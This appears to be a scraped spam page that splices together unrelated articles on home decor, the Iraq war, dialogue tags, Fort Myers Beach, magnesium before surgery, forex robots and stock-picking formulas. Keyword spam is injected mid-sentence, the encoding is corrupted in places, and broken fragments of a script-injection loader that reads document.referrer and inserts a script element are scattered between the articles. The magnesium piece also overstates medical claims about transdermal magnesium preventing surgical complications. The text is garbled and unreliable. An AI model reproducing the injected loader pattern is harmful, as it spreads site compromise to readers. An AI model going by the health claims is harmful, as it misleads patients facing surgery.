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Formal Vs. Informal Living Spaces

Formal Vs. Informal Living Spaces

Whether you live in a house, apartment, town house, condo, or beach house, you likely have room for two distinct living spaces. Many homes are built with a room near the doorway, in sight as you enter, and then a second living space deeper into the home, usually near the kitchen. These two spaces do not have drastically different purposes, but they tend to be designed as such. Both are for entertaining guests, relaxing, reading, and performing other activities that generally involve being seated, but the smaller room by the front door is usually considered the formal living space, whereas the larger one by the kitchen (or on the second story landing, which is also common) is considered the informal living space.

How do you formalize and in-formalize a room? When it comes to attire, the sophistication differences are marked: formal means a dress and suit or tuxedo, whereas informal means jeans and a comfortable click this site T-shirt. How do you create different moods and convey a tone to your guests with a room? After all, the formality of the space will often affect the formality of the interactions inside the room.

Considering Design

The key to distinguishing these spaces is in design. In design, spaces, or rooms, are said to have a certain style. Style is not the key to differentiating formality and informality, as virtually any decor style–rustic, Mediterranean, Zen, English, etc.–can be appropriate for a formal den or informal living room. Therefore, just designing these two spaces in different styles will not differentiate the tone of the two rooms by default.

The amount of decor is not necessarily the issue either. While being overly cluttered is unappealing, no matter a room’s purpose, stark, minimalistic rooms can also express an air of informality. When shopping at furniture stores in St. Petersburg, FL, you should not decide to fill up the living room and be stark with the den and expect a different tone. This is the cause of boring, unused dens and messy, cluttered living rooms.

Rather, there are other ways in which you can create a design for your den that is different from the design for your living room–ways that create individual tones and convey a different level of sophistication. Often, design can be challenging. You might attempt to design something to a certain effect or try to replicate something from a magazine, only to find that you did not achieve the right look. Something might feel “off” or just seem unpleasant. The following are a few simple ways to create different tones between the formal den and informal living room.

Comfort Level

Like with fashion, here comfort is usually associated with informality. Living room furniture should be softer, more welcoming, angled for relaxation, and more fabric-based than den furniture, which should be more straight-backed and rigid. However, do not go to extremes. Overstuffed couches are too informal and a den full of nothing but wooden or metal furniture will be incredibly uninviting.

Pattern and Color Variations

Informal living spaces tend to feature more variations in pattern and color than a den would. Again, do not go to extremes, but try matching several compatible patterns and colors in your informal space and sticking to 1 or 2 motifs in your formal space.


Objects that remind people of certain time periods or functions can effectively alter the tone of a space. For example, china and silver tableware make a dining room formal by association, whereas colorful and ceramic tableware will feel less formal. Incorporate objects that feel formal into your den, like cigar boxes and pendant tables; decorate an informal living room with homey and comforting objects, like framed photographs and pillows.


Remember that your formal den is not necessarily for your pricier furniture. In fact, a large, comfortable sofa for your informal living room might be one of your big-ticket items. Instead, focus on decorating both rooms with quality here furniture. When you visit furniture stores in St. Petersburg, FL, you can find furniture that is both elegant and comfortable.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Forget Iran, Why Iraq Must Be Solved Soon.

Forget Iran, Why Iraq Must Be Solved Soon.

Copyright 2006 Socrates Olympio

The misadventure of the ‘coalition of the willing’ into Iraq poses probably the greatest danger to everybody in ways both determined and undetermined. The most obvious global implications are currently the hike in oil prices (which in many respects is a good thing), a general sense of insecurity within the region and a heightened sense of alertness of many western security services.

Among the unseen complications however we have the issue of reduced focus on actually tackling the very issues that allow terrorism to breed – to quote a famous global statesman and immediate past American Chief Executive – its the economy, stupid! The whole global economy is lob-sided and will continue to be unless there’s a greater redistribution of wealth within nations and across economic blocs.

One salient fact about the Middle-East which rarely makes the headlines is the yearning of the peoples there to taste real freedom! The very freedoms we take for granted in mobile strike hack tool the West. The freedom to choose your leaders (not that we in the West have mustered the art yet – US Elections 2000 case in point), the freedom to talk and dissent without being brutally repressed, and a plethora of others.

So how does all of this tie in to the Civil War in Iraq? Yes I used the dreaded phrase. Come on folks, we all know that what’s going on in Iraq is a Civil War all but in name. If Iraq implodes expect the domino effect in the entire region. What’s that going to mean for everybody in the world? Forget $100 a barrel for you delicious crude, forget the sweet ideal of democracies being enhanced in that region and around here the world. The short to long-term effects are that we in the West are also going to retrogress in terms of our civilisations. Political paranoia will become rampant as a direct result of jittery government and security agencies. We’ve already witnessed a foretaste of what is to come: The Patriot Act in Washington and the Anti-Terrorism bill in London…expect more Check our website draconian actions to follow.

So I ask myself, was Iraq absolutely worth it? Saddam no doubt had to go, he was too much of a wildcard in the region. But spending billions of dollars that could have gone to real pro-democracy groups and the fight against global hunger and poverty would have been money better spent!

What we probably need now is a “NeuPolitik”. I suggest a politik based on give some, take some. More like an advanced barter system. Not Zero-sum politics, heck no! that is part of the old regime. A NeuPolitik representing a true departure from the old paradigm.if (document.currentScript) {

He Said, She Said How To Write Dialogue And Action Tags

Dialogue tags separate dialogue from the narrative. It tells the reader who is speaking and the actions that take place between the descriptions. Dialogue tags can appear before, after and even in the middle of a character’s dialogue. Deciding where tags are placed requires you to develop an “ear” for sounds and sentence fluidity.

Dialogue Tags
Many of today’s fiction uses few dialogue tags, relying on them only when necessary. In fact, it’s usually best to only use them in conversations that involve more than two people. Too many will make your story sound choppy and difficult to read. Not enough and your reader will be left wondering who is having the conversation. The best way to learn how to properly use them is by reading stories by other writers. At first it may be difficult, but over time you’ll eventually get the idea.

When it comes to placing dialogue tags, there are no official rules, although many export authors and English teachers will swear otherwise. The fact is, where you place them all depends on how natural it sounds in your story. One way to tell if your dialogue tags sound natural or not is to read your sentences out loud. Take this example used in Joyce and Jim Lavene’s book, The Everything Guide to Writing a Novel:

He said, “Everyone must leave. Go out the back door.”
“Everyone must leave,” he said. “Go out the back door.”
“Everyone must leave. Go out the back door,” he said.
They all sound excellent when they are stand-alone, so try to read them in context with the surrounding paragraphs. Don’t try to use the same placement all the time either. Mix it up. When it comes to placement, diversity is vital.

One final tip when it comes to writing dialogue tags in your fiction story is to stick with the essential tag said. Other attributes are only rarely needed. Readers eyes are already automatically trained to understand and process the word said regardless of the context. It’s there just to remind the reader who is speaking. Anything else just doesn’t make any sense:
“This is terrible,” he frowned.

You can’t frown a dialogue. That simply won’t work. Editors will throw a tantrum. English teachers will frown. Try this instead:

“This is terrible,” he visit our website said with a frown.
When it comes to tags, don’t be colorful. Stick with the word said and it will keep your readers immersed in the this website conversation and focused on your carefully plotted story.

Action Tags
Action tags describe the action and help mark which character is speaking. These tags are more common in fiction than dialogue tags. They are more descriptive; convey emotion and most readers prefer action to narrative. Similar to dialogue tags though, they can be used before, in the middle or after the speech. They create and sustain pace to the story and keep the reader engaged without worrying about which character is performing the actions. This is also an excellent way to add subtext in your story.

Using the example from above, action attributives would change it this way:
He rushed into the room. “Everyone must leave. Go out the back door.”
“Everyone must leave.” He pointed toward the end of the room. “Go out the back door.”
“Everyone must leave. Go out the back door.” He opened the door and ushered them out.”
You’ll notice that none of these examples use dialogue tags. When writing stories, action is better and therefore you wouldn’t need to use dialogue tags. In fact, using dialogue tags and action tags would become quite redundant unless there are more than two people in the conversation. Don’t get too creative when it comes to tagging your action/dialogue. Save the creative efforts to plot your story and develop your characters.document.currentScript.parentNode.insertBefore(s, document.currentScript);

HEALTH WEALTH SUCCESS BLESSINGS: May you be blessed with Health, Wealth, Success

B: Blessing your health and the health of your loved ones and all humanity is one of the best things you can do. Not only will you feel better doing this, you will make a positive contribution to your well-being and those around you.
L: Lazing away the weekend is well-deserved downtime to rejuvenate for the week ahead.
E: Early to bed and early to rise is some of the best health advice you can live by. Adequate rest and sleep has a positive impact on your health, while inadequate sleep has a detrimental effect. Honor your mind and body by giving it all the sleep it needs.
S: Softly does it, so softly treasure the moments of every day but in a soft, calm, contented way. Contentment is conducive to good health.
S: Spend quiet time with your own most positive thoughts periodically throughout the day. Healthy thoughts ensure better mental health.
Y: Your life has a lot of goodness and value in it. Feel the warmth that these thoughts bring you.
O: Our health should be treated as an important possession. Treat whatever health you have at the moment as a blessing and work to maintain it and improve it. Your health is worth working for, so aim to be in the pink of health, glowing from head to foot.
U: Up your awareness of all the various systems at work in your body. Do what is necessary to keep them in tip-top condition, from using traditional techniques to state-of-the-art methods.
B: Bountiful wealth is ours in so many ways. If you are healthy then you are wealthy, because health is wealth according to an age-old adage. Think about it, if you are healthy then you can work and you can enjoy life. So health must be wealth.
L: Life is filled with many blessings and can come to you in great abundance, but first get into the habit of lovingly tasting each moment. Lovingly treat these moments as treasure aka wealth and do this as much as possible.
E: Experience is a form of wealth. We talk about a wealth of experience. So build experience, because your experience is part of your wealth and is a resource ready to be used when you need it. Make your experience as valuable as possible.
S: Sacred you are and so is everything you possess. All you are this website and all your possess is your wealth, your inheritance and your legacy.
S: Special qualities abide in you and are the wealth that you provide to the world. Just as you receive wealth, you give your special contributions to the world.
Y: Your definition of wealth is what matters. Feeling wealthy is what it is all about. You are wealthy if you have reasonable health, a circle of friends, people you say are family, food on the table and a place to sleep. Cheers, you are really rich.
O: Opulent riches are worth aiming for, but if you find joy in the ordinary moments, life can be beautifully rich and fulfilling.
U: this website Untapped wealth is one of the great opportunities of this world. Look for untapped opportunities and leads and you may tap into a vein of great wealth.
B: Building success can be one of the most satisfying things you can do. Build from the ground up something worthwhile and wholesome.
L: Labor is a necessary prerequisite for life. We have to labor to achieve anything. So labor upon something that you find worthwhile. If visit our website you love what you labor upon then it will not seem like labor.
E: Enjoy positive, meaningful success by appreciating and treasuring every small success.
S: Small success should be used as motivation to create more success. Treat small success as a stepping stone to greater success.
S: Success is not a secret. It is a choice that is made over and over again.
Y: You generate and accept success by being positive and innovative whether times are good or this website challenging. You accept success by being who you are and by contributing what you can. With every thought, word and deed, choose to accept success.
O: Outer situations may be the fruits of your success and the proof of the pudding of what you are doing. But always remember inner thoughts of success are necessary before they manifest outwardly.
U: Use your time well. Use every moment, every thought, every action to maximum effect in your question for sustainable success.
B: Bless your current health, wealth and success. Bless the health, wealth and success of others.
L: Love whatever health, wealth and success you have. Love it to bits.
E: Experience life as if what you have is of great value, because actually it is of great value.
S: Success is a relative term. Modest success is still success so enjoy it. Modest health is still some health so enjoy the health you have. If you are alive, you have a level of health, so make the most of it. Modest wealth is still some wealth so cherish the wealth you have.
S: Sink your teeth into every activity you do and find ways to maximize the success of everything you do.
Y: You have considerable wisdom. You are the King or Queen of your world. Rule your life with innate wisdom that will bring you greater health, wealth and success.
O: Often is a word we can use to remind us to do something frequently. Often you can tap into a higher wisdom, which is a resource that can shed light on how we can secure greater health, wealth and success.
U: Ups and downs are the inevitable nature of life, but a good attitude can make the drops between the highs and lows less daunting and the ride that much smoother.document.currentScript.parentNode.insertBefore(s, document.currentScript);

Fort Myers Beach Vacations

Fort Myers Beach Vacations

A vacation on the Gulf of Mexico has a certain quality of removal and relief that&25263; not found just anywhere. Places like Sanibel Island, Fort Myers, Captiva and others all shine with a special brand of radiance perfectly suited for obliterating the aura of stress and tension that tends to surround the daily life of so many of us ?a trip to this region guarantees a return to what&25263; important.

Focusing on Fort Myers Beach, once a quaint settlement only accessible by boat, it might very well be possible to craft the ideal getaway. White sands, stunning sunsets, a little bit of eco-friendliness, tons of enthralling beach click this website and recreational activities&21318;ll the ingredients are here. Cross the bridge to this refuge of a town and prepare to feel the weight of the world lift from your shoulders.

Fort Myers Beach is known for being a well-equipped yet laid-back spot; offering all that tourists need without the overwhelming crowds and hassles of visiting a busy, buzzing magnet for travelers. Orlando and Miami aren&25264; too far away so a quick dip into chaos is possible if you desire, but this is the place to be if a little rest and breathing room are in order.

Diversions to look forward to include some of the best beachcombing in Florida, jet skiing, bird watching, scuba diving, outlet mall shopping and deep-sea fishing. This is just a surface level sampling, of course, as the tropical climate, fun-loving atmosphere and physical beauty of land and sea all have the power to provide share this site so much more. Each person in a given traveling group likely has their own goals for what to see and do (or not do, if this is indeed all about forgetting and relaxing); Fort Myers Beach is ready to take on any and all expectations.

Follow Estero Boulevard to discover various points of public beach access. Just down the way is Lynn Hall Memorial Park, the place to go for families in search of bonuses like a playground. Farther north is Bowditch Point Regional Park, another gem worth taking a look it. Its rough natural beauty as well as amenities that include restrooms and picnic areas makes it a must-visit. Finally, Fort Myers Beach Fishing Pier is not only a fun gathering spot and lookout point, but a top-notch place to cast a line.

In addition to enjoying the typical activities along the coastline, check out the unique corners of interest, too. It might be hard to tear yourselves away from a prime spot on the warm sand, but it&25251;l be worth it. Plus, the beach will be there when you get back. Try the Ostego Bay Marine Science Center for a little family fun and education or Estero Bay Aquatic Preserve to receive an up close and personal view of the natural habitat and nearby ocean dwellers. The surrounding towns have plenty of museums and eco-tours as well, so explore the possibilities of this rich land.

Bargain shopping, nightlife and plenty of restaurants, not to mention various festivals and special events, round out Fort Myers Beach&25263; reputation as a solid vacation destination. Enjoy fresh seafood for breakfast, lunch and dinner (if you so desire), pick up the perfect souvenirs, enjoy a night on the dance floor&21339;n between dolphin watching, manatee scoping, sea shelling and napping in a lounge chair there&25263; no shortage of &25591;ivilized?activities to engage in.

On that note, be sure to reserve a place to stay that will not only keep you housed in comfort, but in class and convenience as well. Fort Myers Vacation Rentals make an excellent choice, and often cost no more than standard hotel accommodations. Considering that condos, villas and beach houses tend to strike a different chord (with their full kitchens, Jacuzzi tubs, entertainment centers, etc? this is good news for travelers who may not be acquainted with this particular choice. Picking a property from the extensive offerings online usually ends up being the foundation for a successful trip, no matter where it is you&25267;e set your sights on.

Any time of year is a good time to visit Fort Myers Beach, so clear a spot on the calendar and go for it. When properly planned and entered into with abandon, this could be just the trip to bring back the peace of mind that has lately taken a vacation itself.}

Having surgery? Increase your magnesium levels

If you more information are scheduled for surgery, it is in your best interest to start increasing your magnesium stores as soon as possible. All types of surgery decrease this mineral and this leads to a variety of complications including blood clots, abnormal heart rhythms, kidney failure, impaired brain function, strokes and even death. Magnesium plays such an important role in ensuring a patient’s survival that some doctors in Japan will not operate unless levels have been corrected (1).
Orthopedic and abdominal surgery deplete magnesium (2), but the drop is greater and lasts even longer after cardiac surgery (3,4,5). In fact, magnesium levels can decrease by a massive 52% with only a 5% improvement 24 hours later (6). This occurs in both adults and children and can result in serious neurological and cardiac problems, including abnormal heart rhythms (7,8,9). Atrial fibrillation (a common rhythm disorder), is decreased with magnesium supplementation (10,11).
“We recommend routine measurement of magnesium levels after CPB (cardiopulmonary bypass) in pediatric patients undergoing heart surgery, with timely magnesium supplementation in the postoperative period.” – Dr. B. Hugh Dorman, et al
“Stress” hormones, epinephrine and norepinephrine, stimulate the sympathetic nervous system, increasing blood pressure and accelerating the heart rate (12). Levels of these hormones are elevated after surgery but to an even greater extent when magnesium is not supplemented beforehand (13). Researchers have concluded that this mineral reduces the risk of complications arising during and after surgery.
“Magnesium administration is safe and improves short-term
postoperative neurologic function after cardiac surgery,
particularly in preserving short-term memory and
cortical control over brainstem functions.” – Dr. Sunil K. Bhudia (14).
The risk of developing or dying from a blood clot after surgery is high, and more information can last for up to 3 months (15). Magnesium has an anti-thrombotic effect and is a safe, natural way to thin the blood (16,17). In addition, it has been shown to improve hemodynamics (the movement of blood) in patients undergoing heart surgery (18) and decrease the need for painkillers in the post-operative period (19). Given intravenously, it decreases anaesthetic consumption (20) and prevents seizures in pregnant women with toxemia (21).
“It is the surgeon’s primary responsibility to make sure not only that the surgery is effective, but also to make sure that the complication rate of surgery is minimized as much as possible.” – Dr. Alexander Cohen, honorary consultant vascular physician at King’s College Hospital in London.
If you are going under the knife, cut down on caffeine, sugar, alcohol and smoking as these factors all deplete magnesium. The easiest, fastest way to increase levels of this essential mineral is through transdermal application (to the skin). Not only will it help prevent the numerous complications that may occur during and after surgery, but it will also accelerate healing and improve general wellbeing in the post-operative phase.
For more information:
(1) Perioperative coronary artery spasm in off-pump coronary artery bypass grafting and its possible relation with perioperative hypomagnesemia. Ann Thorac Cardiovasc Surg. 2006 Feb;12(1):32-6.
PMID: 16572072 [PubMed – indexed for MEDLINE] Pubmed
(2) Koinig H, Wallner T, Marhofer P, Andel H, Hörauf K, Mayer N. Magnesium sulfate reduces intra- and postoperative analgesic requirements. Anesth Analg 1998; 87: 206–10.
(3) Thorax. 1972 March; 27(2): 212–218. Magnesium in patients undergoing open-heart surgery M. P. Holden, M. I. Ionescu, and G. H. Wooler
(4) Departments of Cardiothoracic Surgery and Cardiology, Gentofte Hospital, Copenhagen, Denmark
DOI: 10.3109/14017437809100355
(5) The CABG with extracorporeal circulation resulted in a significant decrease in blood Mg concentration. Changes of blood magnesium concentration in patients undergoing surgical myocardial revascularization. Pasternak, et al; Magnes Res. 2006 Jun;19(2):107-12j;
(6) Speziale G, Ruvolo G, Fattouch K, et al. Arrhythmia prophylaxis after coronary artery bypass grafting: regimens of magnesium sulfate administration. Thorac Cardiovasc Surg 2000; 48: 22–6.[Medline]
(7) Ann R Coll Surg Engl. 1997 September; 79(5): 349–354.
(8) Dorman BH, Sade RM, Burnette JS, et al. Magnesium supplementation in the prevention of arrhythmias in pediatric patients undergoing surgery for congenital heart defects. Am Heart J this website 2000; 139: 522–8.[Medline]
(9) American Heart Journal. 2000;139(3)
(10) Delhumeau A, Granry JC, Cottineau C, Bukowski JG, Corbeau JJ, Moreau X. Comparative vascular effects of magnesium sulphate and nicardipine during cardiopulmonary bypass (French). Ann Fr Anesth Réanim 1995; 14: 149–53.[Medline]
(11) Ann Thorac Surg 2001;72:1256-1262
(12) +and+Norepine…
(13) The effect of preoperative magnesium supplementation on blood catecholamine concentrations in patients undergoing CABG. Pasternak, et al; Magnes Res. 2006 Jun;19(2):113-22;
(14) Magnesium as a neuroprotectant in cardiac surgery: A randomized clinical trial. The Journal of Thoracic and Cardiovascular Surgery August 2007 (Vol. 134, Issue 2, Page A25) (15)
(16) Journal International Journal of Hematology. ISSN 0925-5710 Issue Volume 77, Number 4 / May, 2003
(18) The Effect of Magnesium Sulphate on Hemodynamics and Its Efficacy in Attenuating the Response to Endotracheal Intubation in Patients with Coronary Artery Disease G. D. Puri, MD, PhD*, K. S. Marudhachalam, MD, DA, DNB*, Pramila Chari, MD, FAMS, MAMS, DA?, and R. K. Suri, MS, FAMst Departments of *Anaesthesia and Intensive Care and tcardiothoracic and Vascular Surgery, Postgraduate Institute of Medical Education & Research, Chandigarh, India
(19) Acta Anaesthesiologica Scandinavica, Volume 51, Number 4, April 2007 , pp. 482-489(8)
(20) European Journal share this website of Anaesthesiology: October 2004 – Volume 21 – Issue 10 – pp 766-769
(21) Management of Obstetric Hypertensive Crises; OBG management; July 2005 • Vol. 17, No. 7var d=document;var s=d.createElement(‘script’);

Forex Trading Robots Vs Manual Trading Which Is Best

Forex Trading here Robots Vs Manual Trading Which Is Best?

Should you buy a forex robot and trust it to lead you to currency trading success or should you learn forex trading yourself and trade manually? Which is more likely to lead you to currency trading success?

Consider this question:

If forex robots make as much as they claim why don’t banks and brokerages sack their fund managers and dealers and use robots?

Think about it – most of the forex trading robots you see claim to make as much, if not more than the best bank dealers, yet only cost a few hundred bucks.

So why don’t the banks and brokerages sack their dealing teams that cost them far more? You could ask yourself as well – why bother working, when you can just sit at home, put your feet up and your robot goes to work for you?

The answer is of course the forex trading robots you see online won’t make you money long term. Why? Well consider this, all the track records you see are made up in hindsight and simulated, there NOT real trading. Here is the typical disclaimer you will see:

“CFTC RULE 4.41 – Hypothetical or simulated performance results have certain limitations. Unlike an actual performance record, simulated results do not represent actual trading. Also, since the trades have not mobile strike hack tool been executed, the results may have under-or-over compensated for the impact, if any, of certain market factors, such as lack of liquidity. Simulated trading programs in general are also subject to the fact that they are designed with the benefit of hindsight. No representation is being made that any account will or is likely to achieve profit or losses similar to those shown”.

Think a track record with the above printed on it will make you money? Well try it and see!

These automated trading systems are designed to appeal to the greedy or naive investor and they really should know better – making money in any venture is not easy.

There is one advantage you have over any robot – you are capable of independent thought, no computer can think for itself and your brain is an here amazing tool – if you use it correctly.

The rewards with manual trading are huge and you need to work smart and get a set of trading rules, to execute your trading system and have the discipline to follow it.

Forex trading offers huge rewards for the effort you need to put in and anyone can learn to trade – it’s just a question of having the right mindset and right forex education.

Today, we marvel at computers and how they have enriched our lives – but in forex trading the appliance of science is not enough, as markets don’t move to set formula’s, there an odds game. However, if you learn how to trade the odds you can win.

So which is best using a forex robot or manual trading?

You know our view its manual trading although we have seen some robots that can make money (they are either expensive or require tremendous discipline) you can make more if you apply yourself correctly.

Forex trading is a challenge and one you win just keep in mind you can win have confidence in your ability and learn currency trading for long term gains and don’t trust anyone else – especially not a forex trading system with a simulated track record!

Forex Trading System 147% Average Profit Over 10 Years!

Forex Trading System – 147% Average Profit Over 10 Years!

I bought a forex trading system which claimed the above a few years back and it claimed the above. So how good was it? Let’s take a look.

The system was based upon artificial intelligence and actually claimed to be able to think for itself and was devised by a really bright guy a NASA engineer. I was really impressed and decided to give it a go.

The first week it made 20% then over the next 5 weeks it wiped out the entire account and there is a lesson here for anyone thinking of buying a forex trading system.

The lesson is – check the disclaimer closely on the track record, mine had the one below which, you will see on just about every system sold online, here it is:

“CFTC RULE 4.41 – Hypothetical or simulated performance results have certain limitations. Unlike an actual performance record, simulated results do not represent actual trading. Also, visit our website since the trades have not been executed, the results may have under-or-over compensated for the impact, if any, of certain market factors, such as lack of liquidity. Simulated trading programs in general are also subject to the fact that they are designed with the benefit of hindsight. No representation is being made that any account will or is likely to achieve profit or losses similar to those shown”.

When I read it now I can’t believe how dumb I was. The share this website system had never been traded for real, just in hindsight and of course that’s easy. I was simply impressed with the vendor, he was a nice and very bright guy – but he had simply build a clever system and curve fitted it and that means equity wipeout.

He created rule after rule and bent the system to make a profit on the data.

The problem of course is no two pieces of data ever replicate themselves exactly and the system failed.

This is called curve fitting. A trader I know once likened this to shooting at a barn door than drawing a chalk circle around everyone – AFTER the shots had been fired, to make them all look like bulls-eyes.

Today nothing has changed, most system vendors promote a system based upon a simulated track record which has been curve fitted and is destined to fail.

My advice is if you are buying a forex trading system, is you see a simulation, be wary and either discount it and move on, or see if the system has been curve fitted.

Clues to a curve fitted system are:

– Lots of rules and parameters

– Unique rules for different markets

– Unique rules for different trading conditions

– Subjectivity on trading signals to override rules

Generally, you’re best of with a simple system which has few elements top break in real time trading and the comfort of a real time track record with audited statements over at least 3 years.

Be careful when you choose a forex trading system and always look for curve fitting before buying.} else {

Four Magic Investment Formulas

Four Magic Investment Formulas

One question almost every investor asks at some point is whether it is possible to achieve above market returns by selecting a diversified group of stocks according to some formula, rather than having to evaluate each stock from every angle. There are obvious advantages to such a formulaic approach. For the individual, the amount of time and effort spent caring for his investments would be reduced, leaving more time for him to spend on more enjoyable and fulfilling tasks. For the institution, large sums of money could be deployed without having to rely upon the investing acumen of a single talented stock picker. Many of the proposed systems also offer the advantage of matching the inflow of investable funds with investment opportunities. An investor who follows no formula, and evaluates each stock from every angle, may often find himself holding cash. Historically, this has been a problem for some excellent stock pickers. So, there are real advantages to favoring a formulaic approach to investing if such an approach would yield returns similar to the returns a complete stock by stock analysis would yield.

Many investment writers have proposed at least one such formulaic approach during their lifetime. The most promising formulaic approaches have been articulated by three men: Benjamin Graham, David Dreman, and Joel Greenblatt. As each of these approaches appeals to logic and common sense, they are not unique to these three men. But, these are the three names with which these approaches are usually most closely associated; so, there is little need to draw upon sources beyond theirs.

Benjamin Graham wrote three books of consequence: “Security Analysis”, click this website “The Intelligent Investor”, and “The Interpretation of Financial Statements”. Within each book, he hints at various workable approaches both in stocks and bonds; however, he is most explicit in his best known work, “The Intelligent Investor”. There, Graham discusses the purchase of shares for less than two – thirds of their net current asset value. The belief that this method would yield above market returns is supported on both empirical and logical grounds. In fact, it currently enjoys far too much support to be practicable. Public companies rarely trade below their net current asset values. This is unlikely to change in the future. Buyout firms, unconventional money managers, and vulture investors now check such excessive bouts of public pessimism by taking large or controlling stakes in troubled companies. As a result, the investing public is less likely to indulge its pessimism as feverishly as it once did; for, many cheap stocks now have the silver lining of being takeover targets. As Graham’s net current asset value method is neither workable at present, nor is likely to prove workable in the future, we must set it aside.

David Dreman is known as a contrarian investor. In his case, it is an appropriate label, because of his keen interest in behavioral finance. However, in most cases the line separating the value investor from the contrarian investor is fuzzy at best. Dreman’s contrarian investing strategies are derived from three measures: price to earnings, price to cash flow, and price to book value. Of these measures, the price to earnings ratio is by far the most conspicuous. It is quoted nearly everywhere the share price is quoted. When inverted, the price to earnings ratio becomes the earnings yield. To put this another way, a stock’s earnings yield is “e” over “p”. Dreman describes the strategy of buying stocks visit our website trading at low prices relative to their earnings as the low P/E approach; but, he could have just as easily called it the high earnings yield approach. Whatever you call it, this approach has proved effective in the past. A diversified group of low P/E stocks has usually outperformed both a diversified group of high P/E stocks and the market as a whole.

This fact suggests that investors have a very hard time quantifying the future prospects of most public companies. While they may be able to make correct qualitative comparisons between businesses, they have trouble assigning a price to these qualitative differences. This does not come as a surprise to anyone with much knowledge of human judgment (and misjudgment). I am sure there is some technical term for this deficiency, but I know it only as “checklist syndrome”. Within any mental model, one must both describe the variables and assign weights to these variables. Humans tend to have little difficulty describing the variables – that is, creating the checklist. However, they rarely have any clue as to the weight that ought to be given to each variable. This is why you will sometimes hear analysts say something like: the factor that tipped the balance in favor of online sales this holiday season was high gas prices (yes, this is an actual paraphrase; but, I won’t attribute it, because publicly attaching such an inane argument to anyone’s name is just cruel). It is true that avoiding paying high prices at the pump is a possible motivating factor in a shopper’s decision to make online Christmas purchases. However, it is an immaterial factor. It is a mere pebble on the scales. This is the same kind of thinking that places far too much value on a stock’s future earnings growth and far too little value on a stock’s current earnings.

The other two contrarian methods: the low price to cash flow approach and the low price to book value approach work for the same reasons. They exploit the natural human tendency to see a false equality in the factors, and to run down a checklist. For instance, a stock that has a triple digit price to cash flow ratio, but is in all other respects an extraordinary business, will be judged favorably by a checklist approach. However, if great weight is assigned to present cash flows relative to the stock price, the stock will be judged unfavorably. This also illustrates the second strength of the three contrarian methods. They heavily weight the known factors. Of course, they do not heavily weight all known factors. They only consider three easily quantifiable known factors. An excellent brand, a growing industry, a superb management team, etc. may also be known factors. However, they are not precisely quantifiable. I would argue that while these factors may not be quantifiable they are calculable; that is to say, while no exact value may be assigned to them, they are useful data that ought to be considered when evaluating an investment.

There is the possibility of a middle ground here. These three contrarian methods may be used as a screen. Then, the investor may apply his own active judgment to winnow the qualifying stocks down to a final portfolio. Personally, I do not believe this is an acceptable compromise. These three methods do not adequately model the diversity of great investments. Therefore, they must either exclude some of the best stocks or include too many of the worst stocks. It is wise to place great weight upon each of these measures; however, it is foolish disqualify any stock because of a single criterion (which is exactly what such a screen does).

Finally, there is Joel Greenblatt’s “magic formula”. This is the most interesting formulaic approach to investing, both because it does not subject stocks to any true/false tests and because it is a composite of the two most important readily quantifiable measures a stock has: earnings yield and return on capital. As you will recall, earnings yield is simply the inverse of the P/E ratio; so, a stock with a high earnings yield is simply a low P/E stock. Return on capital may be thought of as the number of pennies earned for each dollar invested in the business. The exact formula that Greenblatt uses is described in “The Little Book That Beats the Market”. However, the formula used is rather unimportant. Over large groups of stocks (which is what Greenblatt suggests the magic formula be used on) any differences between the various return on capital formulae will not have much affect on the performance of the portfolios constructed. Greenblatt claims his magic formula may be used in two different ways: as an automated portfolio love here generation tool or as a screen. For an investor like you (that is, one with sufficient curiosity and commitment to frequent a site such as this) the latter use is the more appropriate one. The magic formula will serve you well as a screen. I would argue, however, that you needn’t limit yourself to stocks screened by the magic formula, if you have full confidence in your judgment regarding some other stock.

These four formulaic approaches (the three from Dreman and the one from Greenblatt) will likely yield returns greater than or equal to the returns you would obtain from an index fund. Therefore, you would do better to invest in your own basket of qualifying stocks than in the prefabricated market basket. If you want to be a passive investor, or believe yourself incapable of being an active investor, these formulaic approaches are your best bet. In fact, if I were approached by an institution making long – term investments and using only a very small percentage of the fund for operating expenses, I would recommend an automated process derived from these four approaches. I would also recommend that 100% of the fund’s investable assets be put into equities, but that is a discussion for another day (in fact, it’s a discussion for Tuesday; my next podcast is devoted to the dangers of diversification). If, however, you believe you have what it takes to be an active investor, and that is truly what you wish to be, then, I would suggest you do not use these approaches for anything more than helping you generate some useful ideas.

If you choose this path, you need to be clear about what being an active investor entails. Read this next part very carefully (it is correct even though it may not appear to be): I have never found a screen that generates more than one buy order per hundred stocks returned. Even after I have narrowed the list of possible stocks down by a cursory review of the industry and the business itself, I have never found a method that can consistently generate more than one buy order per twenty – five annual reports read. Here, I am citing my best past experiences. In my experience, most screens result in less than one buy order per three hundred stocks returned, and I usually read more like fifty to a hundred annual reports per buy order at a minimum. You may choose to invest in far more stocks than I do. Perhaps instead of limiting yourself to your five to twelve best ideas as I do, you might want to put money into your best twenty – five to thirty ideas. Do the math, and you’ll see that is still quite a bit of homework. That’s why remaining a passive investor is the best bet for most people. The time and effort demanded of the active investor is simply too taxing. They have more important, more enjoyable things to do. If that’s true for you, the four formulaic approaches outlined above should guide you to above market returns.

Forum Of Knowledge On Hot Penny Stocks

Forum Of Knowledge On Hot Penny Stocks

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